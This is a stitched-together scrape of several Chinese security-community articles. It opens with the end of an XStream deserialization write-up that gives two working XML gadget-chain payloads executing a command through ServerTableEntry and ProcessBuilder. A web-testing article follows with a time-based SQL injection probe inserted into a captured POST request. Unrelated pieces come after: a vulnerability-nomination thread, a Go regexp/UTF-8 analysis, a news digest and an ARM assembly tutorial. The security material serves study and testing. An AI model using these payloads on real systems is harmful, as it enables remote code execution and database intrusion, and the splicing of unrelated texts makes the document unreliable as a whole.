<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>calc</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
其实还是反序列化，只是最后是通过com.sun.corba.se.impl.activation.ServerTableEntry类直接在本地执行恶意代码
主要还是Accessor#get方法的invoke
这里可以去调用任意类的方法
然后在ServerTableEntry#verify中直接调用了exec
然后控制activationCmd即可
其实既然可以这样去调用任意方法，那不是也可以去调用ProcessBuilder的start方法吗，我改了下poc发现居然可以
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>java.lang.ProcessBuilder</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='java.lang.ProcessBuilder'>
<command>
<string>calc</string>
</command>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
# 写在最后
XStream组件的漏洞并没有复现完，但是大多数都是这个思路，通过标签转换可以获取到相应的java对象，并且可以对其中的参数进行控制，在实现serializable接口的类，还可以调用其中的readObject方法，达到一些命令执行的效果，可以是jndi，可以是直接命令执行，可以是加载恶意类
对于其他的一些洞也没有去进行相应的复现了，例如CVE-2021-29505
XStream远程代码执行漏洞复现，貌似是通过JRMP反序列化配合CC6达到RCE的效果
最后感谢各位师傅的文章，学到很多
参考链接
<https://www.cnblogs.com/nice0e3/p/15046895.html#0x01-xstream-%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E>
<https://xz.aliyun.com/t/8694#toc-2>
<https://paper.seebug.org/1543/#4-cve-2021-21350>
<https://www.freebuf.com/vuls/282683.html> | 社区文章 |
注：本文为“小米安全中心”原创，转载请联系“小米安全中心”：<https://sec.xiaomi.com/>
Web安全的测试过程简单的可以理解为“对基础request的改造，来探测服务器的响应”。当改造后的request，使服务器的响应得出了对应的结果，我们就可以初步判定漏洞是否存在。以SQL注入为例：
如下是一个最常见的post请求
POST
http://*****api/report/bad?stoken=7c0dfa753141c86ab1e44b801c29f54f&channel=chunlei&web=1&app_id=250528&logid=MTQ3MDkwNjQ3M==&clienttype=0HTTP/1.1
Host:*****
Proxy-Connection:keep-alive
Content-Length:141
Accept:*/*
Origin:http://******
X-Requested-With:XMLHttpRequest
User-Agent:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/51.0.2704.106 Safari/537.36
Content-Type:application/x-www-form-urlencoded; charset=UTF-8
Referer:http://*****/s/1kVGYFrx
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.8
Cookie:
tpl=report&feture=sharefile&item_id=%5B162086046798865%5D&item_url=http%3A%2F%2Fpan.baidu.com%2Fs%2F1kVGYFrx&item_uk=1259907924&report_type=5
SQL注入的检测过程其实就是替换请求中的参数值为我们的测试规则，如’ and sleep(3) or ‘1’=’1改造后的post请求就是：
POST
http://***/api/report/bad?stoken=7c0dfa753141c86ab1e44b801c29f54f&channel=chunlei&web=1&app_id=250528&logid=MTQ3MDkwuNzU2MzkyMzc4NzM1MzE0Mg==&clienttype=0HTTP/1.1
Host:***
Proxy-Connection:keep-alive
Content-Length:141
Accept:*/*
Origin:http://***
X-Requested-With:XMLHttpRequest
User-Agent:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/51.0.2704.106 Safari/537.36
Content-Type:application/x-www-form-urlencoded; charset=UTF-8
Referer:http://***/s/1kVGYFrx
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.8
Cookie:
tpl=report’ and sleep(3) or ‘1’=’1&feture=sharefile&item_id=%5B162086046798865%5D&item_url=http%3A%2F%2F***%2Fs%2F1kVGYFrx&item_uk=1259907924&report_type=5
当请求出现延迟，我们则可以初步判定此处有sql注入的可能。这是一个request的探测基础,那么自动化测试的思路就是：
收集大量的原始request
对request进行规则的改造
将改造后的request发送至服务端探测服务的响应
当服务端的响应因规则的改变而变化，响应符合漏洞的特点时，说明规则生效。有了这样的一个框架，探测一些隐藏较深的漏洞也会很容易，如文件包含、命令注入、XSS等。无非是修改为这些漏洞的规则后，在对漏洞的特点做服务端响应的判断。
有人可能会问为什么要用request，直接爬取url不是更方便吗？url由于没有请求头cookie，所以很难测试一些需要登陆会话的web产品。再加上我们往往测试的请求并不简简单单的测试请求的参数，像伪静态的链接、请求头、cookie都可能会成为我们的测试对象，所以测试request最完善。再加上目前有很多厂商为防止爬取或防止CSRF等都会验证请求的referer或其他请求头，爬取url的方式、日志中提炼url的方式往往已经不能满足测试需求。
Request的获取一般都采用代理抓包的方式。常用的测试工具如burpsuite、Fiddler。个人比较青睐于使用后者，fiddler里有一个customize
rules选项，进入FiddlerScript可以让我们自己编写功能。
那么问题来了，现在出现两种方案：
编写插件，直接对request进行测试
将request进行本地保存，捕获完成后再进行测试
经实验后发现第一种方案并不合适。1是它会影响抓包时测试机的资源占用，2是边抓取边测试会影响web应用的使用。所以这里还是建议使用第二种方案。
接下来简单说一下fiddler的插件开发，我是一名测试人员，并不擅长开发，开发技术只是协助测试的一种手段。自动化测试讲究的也是效率，所以建议不要在开发插件上花费太多的精力，尽可能最大话的利用工具已有的功能，比如对request进行测试时，为提高效率，我们可以过滤一些不需要测试的request,fiddler有对request的过滤功能：
那么过滤不需要测试的request就可以直接交给fiddler.在FiddlerScript中函数OnExecAction可以让我们自定义命令。好在的是fiddler已经为我们封装好了很多函数，直接调用就可以了。参考代码：
case"save":
varSessions=UI.GetAllSessions();
for(vari=0;i<Sessions.Length;i++)
{
Sessions[i].SaveRequest("存储目录"+i.toString()+"_Request.txt",false);
}
returntrue;
保存后，在fiddler左下角执行save即可保存request到指定目录。
有了原始request那么问题就容易多了，但是对request的处理依然是一段坎坷的路程，比如各种编码问题、特殊请求头的处理问题、解决误报等，这些一般都是在不断调试修改后才能得出结论的。下面给一个request的处理流程仅供参考：
依照上边的流程写完工具后，基本能够达到日常测试工作的需要了。当然还需要很多的改进，比如对json数据提交的request的解析，伪静态的判断等等还没有加入到工具中。但好处是常规漏洞已经不再需要手工的重放请求，且工具很容易上手，无安全知识的人同样可以使用。日后的工作量就在维护规则，增加漏洞规则上了。
我的原则管他黑猫还是白猫，能抓到耗子就是好猫。工具不在于表面上功能有多完善，重要的是灵活，易用，测试人员需要的是高效，准确，能挖到漏洞才是硬道理。 | 社区文章 |
把大家认为比较经典的漏洞，类型不限（Php、Java、Python）都可以提名，并给出相应的分析文章地址（网上的文章都可以），方便后期的整理归类。
来吧 各抒己见吧 gogogo
## 来自我的推荐：
### 缓存函数
[ThinkPHP5.0.10-3.2.3缓存函数设计缺陷可导致Getshell](https://xianzhi.aliyun.com/forum/topic/99/)
### 随机数
[php mt_rand()随机数安全](https://xianzhi.aliyun.com/forum/topic/31/)
### PHP-GD函数
[ThinkerPHP后台InputControllerclassphp存在远程任意代码执行漏洞](https://xianzhi.aliyun.com/forum/topic/69/) | 社区文章 |
**作者：0x7F@知道创宇404实验室
时间：2021年8月13日 **
## 0x00 前言
最近在使用 Golang 的 `regexp` 对网络流量做正则匹配时，发现有些情况无法正确进行匹配，找到资料发现 regexp 内部以 `UTF-8`
编码的方式来处理正则表达式，而网络流量是字节序列，由其中的非 `UTF-8` 字符造成的问题。
我们这里从 Golang 的字符编码和 `regexp` 处理机制开始学习和分析问题，并寻找一个有效且比较通用的解决方法，本文对此进行记录。
本文代码测试环境 `go version go1.14.2 darwin/amd64`
## 0x01 regexp匹配字节序列
我们将匹配网络流量所遇到的问题，进行抽象和最小化复现，如下：
我们可以看到 `\xff` 没有按照预期被匹配到，那么问题出在哪里呢？
## 0x02 UTF-8编码
翻阅 Golang 的资料，我们知道 Golang 的源码采用 UTF-8 编码， `regexp` 库的正则表达式也是采用 UTF-8 进行解析编译(而且
Golang 的作者也是 UTF-8 的作者)，那我们先来看看 UTF-8 编码规范。
**1.ASCII**
在计算机的世界，字符最终都由二进制来存储，标准 ASCII 编码使用一个字节(低7位)，所以只能表示 127
个字符，而不同国家有不同的字符，所以建立了自己的编码规范，当不同国家相互通信的时候，由于编码规范不同，就会造成乱码问题。
“中文”
GB2312: \xd6\xd0\xce\xc4
ASCII: ????
**2.Unicode**
为了解决乱码问题，提出了 Unicode 字符集，为所有字符分配一个独一无二的编码，随着 Unicode 的发展，不断添加新的字符，目前最新的
Unicode 采用 UCS-4(Unicode-32) 标准，也就是使用 4 字节(32位) 来进行编码，理论上可以涵盖所有字符。
但是 Unicode 只是字符集，没有考虑计算机中的使用和存储问题，比如：
1. 与已存在的 ASCII 编码不兼容，`ASCII(A)=65 / UCS-2(A)=0065`
2. 由于 Unicode 编码高字节可能为 0，C 语言字符串串函数将出现 00 截断问题
3. 从全世界来看原来 ASCII 的字符串使用得最多，而换成 Unicode 过后，这些 ASCII 字符的存储都将额外占用字节(存储0x00)
**3.UTF-8**
后来提出了 UTF-8 编码方案，UTF-8 是在互联网上使用最广的一种 Unicode 的实现方式；UTF-8 是一种变长的编码方式，编码规则如下：
1. 对于单字节的符号，字节的第一位设为 0，后面 7 位为这个符号的 Unicode 的码点，兼容 ASCII
2. 对于需要 n 字节来表示的符号(n > 1)，第一个字节的前 n 位都设为 1，第 n+1 位设置为 0；后面字节的前两位一律设为 10，剩下的的二进制位则用于存储这个符号的 Unicode 码点(从低位开始)。
编码规则如下：
Unicode符号范围(十六进制) | UTF-8编码方式(二进制)
00000000 - 0000007F | 0xxxxxxx
00000080 - 000007FF | 110xxxxx 10xxxxxx
00000800 - 0000FFFF | 1110xxxx 10xxxxxx 10xxxxxx
00010000 - 0010FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
编码中文 `你` 如下：
Unicode: \u4f60 (0b 01001111 01100000)
UTF-8: \xe4\xbd\xa0 (0b 1110/0100 10/111101 10/100000)
(这里用斜线分割了下 UTF-8 编码的前缀)
> 1.根据 UTF-8 编码规则，当需要编码的符号超过 1 个字节时，其第一个字节前面的 1 的个数表示该字符占用了几个字节。
>
> 2.UTF-8 是自同步码(Self-synchronizing_code)，在 UTF-8 编码规则中，任意字符的第一个字节必然以 0 / 110 /
> 1110 / 11110 开头，UTF-8 选择 10
> 作为后续字节的前缀码，以此进行区分。自同步码可以便于程序寻找字符边界，快速跳过字符，当遇到错误字符时，可以跳过该字符完成后续字符的解析，这样不会造成乱码扩散的问题(GB2312存在该问题)
## 0x03 byte/rune/string
在 Golang 中源码使用 UTF-8 编码，我们编写的代码/字符会按照 UTF-8 进行编码，而和字符相关的有三种类型
`byte/rune/string`。
`byte` 是最简单的字节类型(`uint8`)，`string` 是固定长度的字节序列，其定义和初始化在
<https://github.com/golang/go/blob/master/src/runtime/string.go>，可以看到 `string`
底层就是使用 `[]byte` 实现的：
`rune` 类型则是 Golang 中用来处理 UTF-8 编码的类型，实际类型为 `int32`，存储的值是字符的 Unicode 码点，所以
`rune` 类型可以便于我们更直观的遍历字符(对比遍历字节)如下：
**类型转换**
`byte(uint8)` 和 `rune(int32)` 可以直接通过位扩展或者舍弃高位来进行转换。
`string` 转换比较复杂，我们一步一步来看：
`string` 和 `byte` 类型相互转换时，底层都是 `byte` 可以直接相互转换，但是当单字节 `byte` 转 `string`
类型时，会调用底层函数 `intstring()`
(<https://github.com/golang/go/blob/master/src/runtime/string.go#L244>)，然后调用
`encoderune()` 函数，对该字节进行 UTF-8 编码，测试如下：
`string` 和 `rune` 类型相互转换时，对于 UTF-8 字符的相互转换，底层数据发生变化 `UTF-8编码 <=>
Unicode编码`；而对于非 UTF-8 字符，将以底层单字节进行处理：
1. `string => rune` 时，会调用 `stringtoslicerune()` (<https://github.com/golang/go/blob/master/src/runtime/string.go#L178>)，最终跟进到 Golang 编译器的 `for-range` 实现(<https://github.com/golang/go/blob/master/src/cmd/compile/internal/walk/range.go#L220>)，转换时调用 `decoderune()` 对字符进行 UTF-8 解码，解码失败时(非 UTF-8 字符)将返回 `RuneError = \uFFFD`；
2. `rune => string` 时，和 `byte` 单字节转换一样，会调用 `intstring()` 函数，对值进行 UTF-8 编码。
测试如下：
## 0x04 regexp处理表达式
在 `regexp` 中所有的字符都必须为 UTF-8 编码，在正则表达式编译前会对字符进行检查，非 UTF-8
字符将直接提示错误；当然他也支持转义字符，比如：`\t \a 或者 16进制`，在代码中我们一般需要使用反引号包裹正则表达式(原始字符串)，转义字符由
`regexp` 在内部进行解析处理，如下：
> 当然为了让 `regexp` 编译包含非 UTF-8 编码字符的表达式，必须用反引号包裹才行
我们在使用 `regexp` 时，其内部首先会对正则表达式进行编译，然后再进行匹配。
**1.编译**
编译主要是构建自动机表达式，其底层最终使用 `rune`
类型存储字符(<https://github.com/golang/go/blob/master/src/regexp/syntax/prog.go#L112>)，所以
`\xff` 通过转义后最终存储为 `0x00ff (rune)`
除此之外，在编译阶段 `regexp`
还会提前生成正则表达式中的前缀字符串，在执行自动机匹配前，先用匹配前缀字符串，以提高匹配效率。需要注意的是，生成前缀字符串时其底层将调用
`strings.Builder` 的 `WriteRune()`
函数(<https://github.com/golang/go/blob/master/src/regexp/syntax/prog.go#L147>)，内部将调用
`utf8.EncodeRune()` 强制转换表达式的字符为 UTF-8 编码(如：`\xff => \xc3\xbf`)。
**2.匹配**
当匹配时，首先使用前缀字符串匹配，这里使用常规的字符串匹配。UTF-8 可以正常进行匹配，但当我们的字符串中包含非 UTF-8
字符就会出现问题，原因正则表达式中的前缀字符串已经被强制 UTF-8 编码了，示例如下：
regexp: `\xff`
real regexp prefix: []byte(\xc3\xbf)
string: "\xff"
real string: []byte(\xff)
[NOT MATCHED]
当执行自动机匹配时，将最终调用 `tryBacktrace()`
函数进行逐字节回溯匹配(<https://github.com/golang/go/blob/master/src/regexp/backtrack.go#L140>)，使用
`step()`
函数遍历字符串(<https://github.com/golang/go/blob/master/src/regexp/regexp.go#L383>)，该函数有
`string/byte/rune` 三种实现，其中 `string/byte` 将调用 `utf8.DecodeRune*()` 强制为 `rune`
类型，所以三种实现最终都返回 `rune` 类型，然后和自动机表达式存储的 `rune` 值进行比较，完成匹配。而这里当非 UTF-8 字符通过
`utf8.DecodeRune*()` 函数时，将返回 `RuneError=0xfffd`，示例如下：
(PS: 不应该用简单字符表达式，简单字符表达式将会直接使用前缀字符串完成匹配)
regexp: `\xcf-\xff`
real regexp inst: {Op:InstRune Out:4 Arg:0 Rune:[207 255]}
string: "\xff"
string by step(): 0xfffd
[NOT MATCHED]
比较复杂，不过简而言之就是 `regexp` 内部会对表达式进行 UTF-8 编码，会对字符串进行 UTF-8 解码。
了解 `regexp` 底层匹配运行原理过后，我们甚至可以构造出更奇怪的匹配：
## 0x05 解决方法
在了解以上知识点过后，就很容易解决问题了：表达式可以使用任意字符，待匹配字符串在匹配前手动转换为合法的 UTF-8 字符串。
因为当 `regexp` 使用前缀字符串匹配时，会自动转换表达式字符为 UTF-8 编码，和我们的字符串一致；当 `regexp`
使用自动机匹配时，底层使用 `rune` 进行比较，我们传入的 UTF-8 字符串将被正确通过 UTF-8 解码，可以正确进行匹配。
实现测试如下：
## 0x06 总结
关于开头提出的 `regexp` 匹配的问题到这里就解决了，在不断深入语言实现细节的过程中发现：Golang 本身在尽可能的保持 UTF-8
编码的一致性，但在编程中字节序列是不可避免的，Golang 中使用 `string/byte` 类型来进行处理，在 `regexp` 底层实现同样使用了
UTF-8 编码，所以问题就出现了，字节序列数据和编码后的数据不一致。
个人感觉 `regexp` 用于匹配字节流并不是一个预期的使用场景，像是 Golang 官方在 UTF-8 方面的一个取舍。
当然这个过程中，我们翻阅了很多 Golang 底层的知识，如字符集、源码等，让我们了解了一些 Golang 的实现细节；在实际常见下我们不是一定要使用标准库
`regexp`，还可以使用其他的正则表达式库来绕过这个问题。
* * *
References:
<https://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html>
<https://blog.golang.org/strings>
<https://zh.wikipedia.org/wiki/UTF-8>
<https://stackoverflow.com/questions/53009692/utf-8-encoding-why-prefix-10>
<https://en.wikipedia.org/wiki/Self-synchronizing_code>
<https://www.zhihu.com/question/19817672>
<https://pkg.go.dev/regexp/syntax>
<https://github.com/golang/go/issues/38006>
<https://github.com/golang/go/tree/master/src/regexp>
<https://golang.org/src/runtime/string.go>
<https://github.com/golang/go/blob/master/src/builtin/builtin.go>
<https://github.com/golang/gofrontend/blob/master/go/statements.cc#L6841>
<https://github.com/golang/go/blob/master/src/cmd/compile/internal/walk/range.go#L220>
<https://github.com/golang/go/blob/master/src/runtime/string.go#L244>
<https://github.com/golang/go/blob/master/src/runtime/string.go#L178>
* * * | 社区文章 |
# 【知识】9月17日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：Chrome新增安全特性——视频自动播放与FTP、Equifax英国部分发布声明：英国用户同样受到泄露影响、PyPI被发现托管恶意软件库、隐藏工具GhostInTheNet、新的“Tor”Loopix发布、类robots.txt：安全策略文件security.txt。**
****资讯类：****
Chrome新增安全特性——取消视频自动播放、识别FTP为不安全站点
<https://www.theregister.co.uk/2017/09/15/chrome_will_kill_autoplaying_video_sounds/>
<https://www.theregister.co.uk/2017/09/15/chrome_to_label_ftp_sites_insecure/>
Equifax英国部分发布声明：正式确认40万英国用户信息泄露
<https://www.welivesecurity.com/2017/09/17/equifax-uk-data-breach/>
安全专家研究发现PyPI一直在托管恶意软件库
<https://www.theregister.co.uk/2017/09/15/pretend_python_packages_prey_on_poor_typing/>
****
**技术类：**
JS中的危险函数（Part 1）
<http://blog.blueclosure.com/2017/09/javascript-dangerous-functions-part-1.html>
成为网络中的幽灵
<https://github.com/cryptolok/GhostInTheNet>
周末安全总结：勒索软件之周
<https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-15th-2017-mostly-in-dev-ransomware/>
Loopix现世，望通过安全特性逐渐取代Tor
<https://www.bleepingcomputer.com/news/technology/the-loopix-anonymity-system-wants-to-be-a-more-secure-alternative-to-tor/>
Linux KVM拒绝服务漏洞
<http://seclists.org/oss-sec/2017/q3/465>
网站用来定义安全政策的新标准“security.txt”
<https://github.com/EdOverflow/security-txt>
学会利用HTTP PUT
<http://www.hackingtutorials.org/exploit-tutorials/metasploitable-3-exploiting-http-put/>
Twitch exploits a buffer flow
<https://www.twitch.tv/csawtv> | 社区文章 |
# 【系列分享】ARM 汇编基础速成5：连续存取
##### 译文声明
本文是翻译文章，文章来源：azeria-labs.com
原文地址：<https://azeria-labs.com/load-and-store-multiple-part-5/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[arnow117](http://bobao.360.cn/member/contribute?uid=941579989)
预估稿费：140RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
传送门
[【系列分享】ARM
汇编基础速成1：ARM汇编以及汇编语言基础介绍](http://bobao.360.cn/learning/detail/4070.html)
[【系列分享】ARM 汇编基础速成2：ARM汇编中的数据类型](http://bobao.360.cn/learning/detail/4075.html)
[【系列分享】ARM
汇编基础速成3：ARM模式与THUMB模式](http://bobao.360.cn/learning/detail/4082.html)
[**【系列分享】ARM
汇编基础速成4：ARM汇编内存访问相关指令**](http://bobao.360.cn/learning/detail/4087.html)
**
**
**连续加载/存储**
有时连续加载(存储)会显得更加高效。因为我们可以使用LDM(load multiple)以及STM(store
multiple)。这些指令基于起始地址的不同，有不同的形式。下面是我们会在这一节用到的相关代码。在下文中会详细讲解。
.data
array_buff:
.word 0x00000000 /* array_buff[0] */
.word 0x00000000 /* array_buff[1] */
.word 0x00000000 /* array_buff[2]. 这一项存的是指向array_buff+8的指针 */
.word 0x00000000 /* array_buff[3] */
.word 0x00000000 /* array_buff[4] */
.text
.global main
main:
adr r0, words+12 /* words[3]的地址 -> r0 */
ldr r1, array_buff_bridge /* array_buff[0]的地址 -> r1 */
ldr r2, array_buff_bridge+4 /* array_buff[2]的地址 -> r2 */
ldm r0, {r4,r5} /* words[3] -> r4 = 0x03; words[4] -> r5 = 0x04 */
stm r1, {r4,r5} /* r4 -> array_buff[0] = 0x03; r5 -> array_buff[1] = 0x04 */
ldmia r0, {r4-r6} /* words[3] -> r4 = 0x03, words[4] -> r5 = 0x04; words[5] -> r6 = 0x05; */
stmia r1, {r4-r6} /* r4 -> array_buff[0] = 0x03; r5 -> array_buff[1] = 0x04; r6 -> array_buff[2] = 0x05 */
ldmib r0, {r4-r6} /* words[4] -> r4 = 0x04; words[5] -> r5 = 0x05; words[6] -> r6 = 0x06 */
stmib r1, {r4-r6} /* r4 -> array_buff[1] = 0x04; r5 -> array_buff[2] = 0x05; r6 -> array_buff[3] = 0x06 */
ldmda r0, {r4-r6} /* words[3] -> r6 = 0x03; words[2] -> r5 = 0x02; words[1] -> r4 = 0x01 */
ldmdb r0, {r4-r6} /* words[2] -> r6 = 0x02; words[1] -> r5 = 0x01; words[0] -> r4 = 0x00 */
stmda r2, {r4-r6} /* r6 -> array_buff[2] = 0x02; r5 -> array_buff[1] = 0x01; r4 -> array_buff[0] = 0x00 */
stmdb r2, {r4-r5} /* r5 -> array_buff[1] = 0x01; r4 -> array_buff[0] = 0x00; */
bx lr
words:
.word 0x00000000 /* words[0] */
.word 0x00000001 /* words[1] */
.word 0x00000002 /* words[2] */
.word 0x00000003 /* words[3] */
.word 0x00000004 /* words[4] */
.word 0x00000005 /* words[5] */
.word 0x00000006 /* words[6] */
array_buff_bridge:
.word array_buff /* array_buff的地址*/
.word array_buff+8 /* array_buff[2]的地址 */
在开始前，再深化一个概念，就是.word标识是对内存中长度为32位的数据块作引用。这对于理解代码中的偏移量很重要。所以程序中由.data段组成的数据，内存中会申请一个长度为5的4字节数组array_buff。我们的所有内存存储操作，都是针对这段内存中的数据段做读写的。而.text端包含着我们对内存操作的代码以及只读的两个标签，一个标签是含有七个元素的数组，另一个是为了链接.text段和.data段所存在的对于array_buff的引用。下面就开始一行行的分析了！
adr r0, words+12 /* words[3]的地址 -> r0 */
我们用ADR指令来获得words[3]的地址，并存到R0中。我们选了一个中间的位置是因为一会要做向前以及向后的操作。
gef> break _start
gef> run
gef> nexti
R0当前就存着words[3]的地址了，也就是0x80B8。也就是说，我们的数组word[0]的地址是:0x80AC(0x80B8-0XC)。
gef> x/7w 0x00080AC
0x80ac <words>: 0x00000000 0x00000001 0x00000002 0x00000003
0x80bc <words+16>: 0x00000004 0x00000005 0x00000006
接下来我们把R1和R2指向array_buff[0]以及array_buff[2]。在获取了这些指针后，我们就可以操作这个数组了。
ldr r1, array_buff_bridge /* array_buff[0]的地址 -> r1 */
ldr r2, array_buff_bridge+4 /* array_buff[2]的地址 -> r2 */
执行完上面这两条指令后，R1和R2的变化。
gef> info register r1 r2
r1 0x100d0 65744
r2 0x100d8 65752
下一条LDM指令从R0指向的内存中加载了两个字的数据。因为R0指向words[3]的起始处，所以words[3]的值赋给R4，words[4]的值赋给R5。
ldm r0, {r4,r5} /* words[3] -> r4 = 0x03; words[4] -> r5 = 0x04 */
所以我们用一条指令加载了两个数据块，并且放到了R4和R5中。
gef> info registers r4 r5
r4 0x3 3
r5 0x4 4
看上去不错，再来看看STM指令。STM指令将R4与R5中的值0x3和0x4存储到R1指向的内存中。这里R1指向的是array_buff[0]，也就是说
array_buff[0] = 0x00000003以及array_buff[1] =
0x00000004。如不特定指定，LDM与STM指令操作的最小单位都是一个字(四字节)。
stm r1, {r4,r5} /* r4 -> array_buff[0] = 0x03; r5 -> array_buff[1] = 0x04 */
值0x3与0x4被存储到了R1指向的地方0x100D0以及0x100D4。
gef> x/2w 0x000100D0
0x100d0 <array_buff>: 0x00000003 0x00000004
之前说过LDM和STM有多种形式。不同形式的扩展字符和含义都不同：
IA(increase after)
IB(increase before)
DA(decrease after)
DB(decrease before)
这些扩展划分的主要依据是，作为源地址或者目的地址的指针是在访问内存前增减，还是访问内存后增减。以及，LDM与LDMIA功能相同，都是在加载操作完成后访问对地址增加的。通过这种方式，我们可以序列化的向前或者向后从一个指针指向的内存加载数据到寄存器，或者存放数据到内存。如下示意代码
。
ldmia r0, {r4-r6} /* words[3] -> r4 = 0x03, words[4] -> r5 = 0x04; words[5] -> r6 = 0x05; */
stmia r1, {r4-r6} /* r4 -> array_buff[0] = 0x03; r5 -> array_buff[1] = 0x04; r6 -> array_buff[2] = 0x05 */
在执行完这两条代码后，R4到R6寄存器所访问的内存地址以及存取的值是0x000100D0，0x000100D4，以及0x000100D8，值对应是
0x3，0x4，以及0x5。
gef> info registers r4 r5 r6
r4 0x3 3
r5 0x4 4
r6 0x5 5
gef> x/3w 0x000100D0
0x100d0 <array_buff>: 0x00000003 0x00000004 0x00000005
而LDMIB指令会首先对指向的地址先加4，然后再加载数据到寄存器中。所以第一次加载的时候也会对指针加4，所以存入寄存器的是0X4(words[4])而不是0x3(words[3])。
dmib r0, {r4-r6} /* words[4] -> r4 = 0x04; words[5] -> r5 = 0x05; words[6] -> r6 = 0x06 */
stmib r1, {r4-r6} /* r4 -> array_buff[1] = 0x04; r5 -> array_buff[2] = 0x05; r6 -> array_buff[3] = 0x06 */
执行后的调试示意:
gef> x/3w 0x100D4
0x100d4 <array_buff+4>: 0x00000004 0x00000005 0x00000006
gef> info register r4 r5 r6
r4 0x4 4
r5 0x5 5
r6 0x6 6
当用LDMDA指令时，执行的就是反向操作了。R0指向words[3]，当加载数据时数据的加载方向变成加载words[3]，words[2]，words[1]的值到R6，R5，R4中。这种加载流程发生的原因是我们LDM指令的后缀是DA，也就是在加载操作完成后，会将指针做递减的操作。注意在做减法模式下的寄存器的操作是反向的，这么设定的原因为了保持让编号大的寄存器访问高地址的内存的原则。
多次加载，后置减法：
ldmda r0, {r4-r6} /* words[3] -> r6 = 0x03; words[2] -> r5 = 0x02; words[1] -> r4 = 0x01 */
执行之后，R4-R6的值：
gef> info register r4 r5 r6
r4 0x1 1
r5 0x2 2
r6 0x3 3
多次加载，前置减法：
ldmdb r0, {r4-r6} /* words[2] -> r6 = 0x02; words[1] -> r5 = 0x01; words[0] -> r4 = 0x00 */
执行之后，R4-R6的值：
gef> info register r4 r5 r6
r4 0x0 0
r5 0x1 1
r6 0x2 2
多次存储，后置减法：
stmda r2, {r4-r6} /* r6 -> array_buff[2] = 0x02; r5 -> array_buff[1] = 0x01; r4 -> array_buff[0] = 0x00 */
执行之后，array_buff[2]，array_buff[1]，以及array_buff[0]的值：
gef> x/3w 0x100D0
0x100d0 <array_buff>: 0x00000000 0x00000001 0x00000002
多次存储，前置减法：
stmdb r2, {r4-r5} /* r5 -> array_buff[1] = 0x01; r4 -> array_buff[0] = 0x00; */
执行之后，array_buff[1]，以及array_buff[0]的值：
gef> x/2w 0x100D0
0x100d0 <array_buff>: 0x00000000 0x00000001
**PUSH和POP**
在内存中存在一块进程相关的区域叫做栈。栈指针寄存器SP在正常情形下指向这篇区域。应用经常通过栈做临时的数据存储。X86使用PUSH和POP来访问存取栈上数据。在ARM中我们也可以用这两条指令：
当PUSH压栈时，会发生以下事情：
SP值减4。
存放信息到SP指向的位置。
当POP出栈时，会发生以下事情：
数据从SP指向位置被加载
SP值加4。
下面是我们使用PUSH/POP以及LDMIA/STMDB命令示例:
.text
.global _start
_start:
mov r0, #3
mov r1, #4
push {r0, r1}
pop {r2, r3}
stmdb sp!, {r0, r1}
ldmia sp!, {r4, r5}
bkpt
让我们来看看这段汇编的反汇编：
azeria@labs:~$ as pushpop.s -o pushpop.o
azeria@labs:~$ ld pushpop.o -o pushpop
azeria@labs:~$ objdump -D pushpop
pushpop: file format elf32-littlearm
Disassembly of section .text:
00008054 <_start>:
8054: e3a00003 mov r0, #3
8058: e3a01004 mov r1, #4
805c: e92d0003 push {r0, r1}
8060: e8bd000c pop {r2, r3}
8064: e92d0003 push {r0, r1}
8068: e8bd0030 pop {r4, r5}
806c: e1200070 bkpt 0x0000
